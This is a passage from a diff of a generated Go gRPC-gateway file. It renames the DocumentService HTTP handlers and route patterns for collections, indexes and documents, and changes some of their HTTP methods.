func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -599,7 +562,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_CollectionDelete_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_GetCollections_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -607,11 +570,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_GetCollections_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_CollectionUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_UpdateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -622,7 +585,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_CollectionUpdate_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_UpdateCollection_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -630,11 +593,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_CollectionUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_UpdateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_IndexCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("DELETE", pattern_DocumentService_DeleteCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -645,7 +608,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_IndexCreate_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_DeleteCollection_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -653,11 +616,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_IndexCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DeleteCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_IndexDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_CreateIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -668,7 +631,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_IndexDelete_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_CreateIndex_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -676,11 +639,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_IndexDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CreateIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DeleteIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -691,7 +654,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentInsert_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_DeleteIndex_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -699,11 +662,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DeleteIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_DocumentInsertMany_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_InsertDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -714,7 +677,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentInsertMany_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_InsertDocuments_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -722,11 +685,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentInsertMany_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_InsertDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_UpdateDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -737,7 +700,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentUpdate_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_UpdateDocument_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -745,11 +708,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_UpdateDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DeleteDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -760,7 +723,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentSearch_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_DeleteDocuments_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -768,11 +731,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DeleteDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentAudit_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_SearchDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -783,7 +746,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentAudit_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_SearchDocuments_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -791,11 +754,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentAudit_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_SearchDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentProof_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_AuditDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -806,7 +769,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentProof_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_AuditDocument_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -814,11 +777,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentProof_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_AuditDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_DocumentDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_ProveDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -829,7 +792,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_DocumentDelete_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_ProveDocument_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -837,7 +800,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_DocumentDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_ProveDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -882,27 +845,7 @@ func RegisterDocumentServiceHandler(ctx context.Context, mux *runtime.ServeMux, // "DocumentServiceClient" to call the correct interceptors. func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client DocumentServiceClient) error { - mux.Handle("PUT", pattern_DocumentService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { - ctx, cancel := context.WithCancel(req.Context()) - defer cancel() - inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) - rctx, err := runtime.AnnotateContext(ctx, mux, req) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - resp, md, err := request_DocumentService_CollectionCreate_0(rctx, inboundMarshaler, client, req, pathParams) - ctx = runtime.NewServerMetadataContext(ctx, md) - if err != nil { - runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) - return - } - - forward_DocumentService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) - - }) - - mux.Handle("GET", pattern_DocumentService_CollectionGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_CreateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -911,18 +854,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_CollectionGet_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_CreateCollection_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_CollectionGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CreateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_DocumentService_GetCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -931,18 +874,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_CollectionList_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_GetCollection_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_GetCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("DELETE", pattern_DocumentService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_DocumentService_GetCollections_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -951,18 +894,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_CollectionDelete_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_GetCollections_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_GetCollections_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_CollectionUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_UpdateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -971,18 +914,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_CollectionUpdate_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_UpdateCollection_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_CollectionUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_UpdateCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_IndexCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("DELETE", pattern_DocumentService_DeleteCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -991,18 +934,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_IndexCreate_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_DeleteCollection_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_IndexCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DeleteCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_IndexDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_CreateIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1011,18 +954,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_IndexDelete_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_CreateIndex_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_IndexDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_CreateIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DeleteIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1031,18 +974,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentInsert_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_DeleteIndex_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DeleteIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_DocumentInsertMany_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_InsertDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1051,18 +994,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentInsertMany_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_InsertDocuments_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentInsertMany_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_InsertDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentUpdate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_UpdateDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1071,18 +1014,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentUpdate_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_UpdateDocument_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentUpdate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_UpdateDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_DeleteDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1091,18 +1034,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentSearch_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_DeleteDocuments_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_DeleteDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentAudit_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_SearchDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1111,18 +1054,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentAudit_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_SearchDocuments_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentAudit_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_SearchDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("POST", pattern_DocumentService_DocumentProof_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_AuditDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1131,18 +1074,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentProof_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_AuditDocument_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentProof_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_AuditDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("PUT", pattern_DocumentService_DocumentDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("POST", pattern_DocumentService_ProveDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1151,14 +1094,14 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_DocumentDelete_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_ProveDocument_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_DocumentDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_ProveDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -1166,61 +1109,57 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv } var ( - pattern_DocumentService_CollectionCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "create"}, "", runtime.AssumeColonVerbOpt(true))) - - pattern_DocumentService_CollectionGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "get"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_CreateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"collections"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_CollectionList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", 